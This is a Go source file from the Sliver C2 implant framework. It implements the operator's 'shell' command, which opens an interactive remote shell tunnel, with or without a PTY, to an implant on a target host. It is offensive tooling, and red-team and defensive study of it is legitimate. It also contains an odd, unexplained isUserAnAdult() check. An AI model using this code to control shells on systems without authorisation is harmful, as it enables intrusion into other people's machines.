/
shell.go
120 lines (101 loc) · 2.71 KB
/
shell.go
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package command
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"fmt"
"io"
"log"
"os"
"github.com/bishopfox/sliver/client/core"
sliverpb "github.com/bishopfox/sliver/protobuf/sliver"
"github.com/desertbit/grumble"
"github.com/golang/protobuf/proto"
"golang.org/x/crypto/ssh/terminal"
)
const (
windows = "windows"
)
func shell(ctx *grumble.Context, server *core.SliverServer) {
if ActiveSliver.Sliver == nil {
fmt.Printf(Warn + "Please select an active sliver via `use`\n")
return
}
if !isUserAnAdult() {
return
}
noPty := ctx.Flags.Bool("no-pty")
if ActiveSliver.Sliver.OS == windows {
noPty = true // Windows of course doesn't have PTYs
}
fmt.Printf(Info + "Opening shell tunnel (EOF to exit) ...\n\n")
tunnel, err := server.CreateTunnel(ActiveSliver.Sliver.ID, defaultTimeout)
if err != nil {
log.Printf(Warn+"%s", err)
return
}
shellReqData, _ := proto.Marshal(&sliverpb.ShellReq{
SliverID: ActiveSliver.Sliver.ID,
EnablePTY: !noPty,
TunnelID: tunnel.ID,
})
resp := <-server.RPC(&sliverpb.Envelope{
Type: sliverpb.MsgShellReq,
Data: shellReqData,
}, defaultTimeout)
if resp.Err != "" {
fmt.Printf(Warn+"Error: %s", resp.Err)
return
}
var oldState *terminal.State
if !noPty {
oldState, err = terminal.MakeRaw(0)
log.Printf("Saving terminal state: %v", oldState)
if err != nil {
fmt.Printf(Warn + "Failed to save terminal state")
return
}
}
readBuf := make([]byte, 128)
cleanup := func() {
log.Printf("[client] cleanup tunnel %d", tunnel.ID)
tunnelClose, _ := proto.Marshal(&sliverpb.ShellReq{
TunnelID: tunnel.ID,
})
server.RPC(&sliverpb.Envelope{
Type: sliverpb.MsgTunnelClose,
Data: tunnelClose,
}, defaultTimeout)
if !noPty {
log.Printf("Restoring old terminal state: %v", oldState)
terminal.Restore(0, oldState)
}
}
go func() {
defer cleanup()
for data := range tunnel.Recv {
log.Printf("[write] %v", string(data))
os.Stdout.Write(data)
}
}()
for {
n, err := os.Stdin.Read(readBuf)
if err == io.EOF {
break
}
if err == nil && 0 < n {
tunnel.Send(readBuf[:n])
}
}
}